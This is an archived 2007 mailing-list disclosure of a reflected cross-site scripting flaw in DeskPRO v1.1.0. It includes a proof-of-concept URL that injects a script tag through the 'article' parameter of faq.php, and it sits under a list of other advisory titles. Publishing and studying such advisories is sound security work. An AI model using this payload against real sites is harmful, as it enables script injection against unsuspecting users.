Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Aktueldownload Haber scripti (id) Remote SQL Injection Vulnerability

CodeAvalanche News SQL Injection

nabopoll 1.2 Remote Unprotected Admin Section Vulnerability

nabopoll 1.2 (survey.inc.php path) Remote File Include Vulnerability

From:	bl4ck_(at)_bsdmail.org <bl4ck_(at)_bsdmail.org>
Date:	15.02.2007
Subject:	XSS in [deskpro.com v1.1.0 ]

hey guys .. check out this new xss i just found  ;P

Vulnerable :  deskpro.com v1.1.0
web : http://www.deskpro.com, http://customers.qwk.net
Version : v1.1.0

XSS :

http://127.0.0.1/dp/faq.php?article="><script>alert('bl4ck'
)</script>


################################
Discovered  By BLacK ZeRo
K.S.A
bL4ck@bsdmail.org
################################

Best regards ,,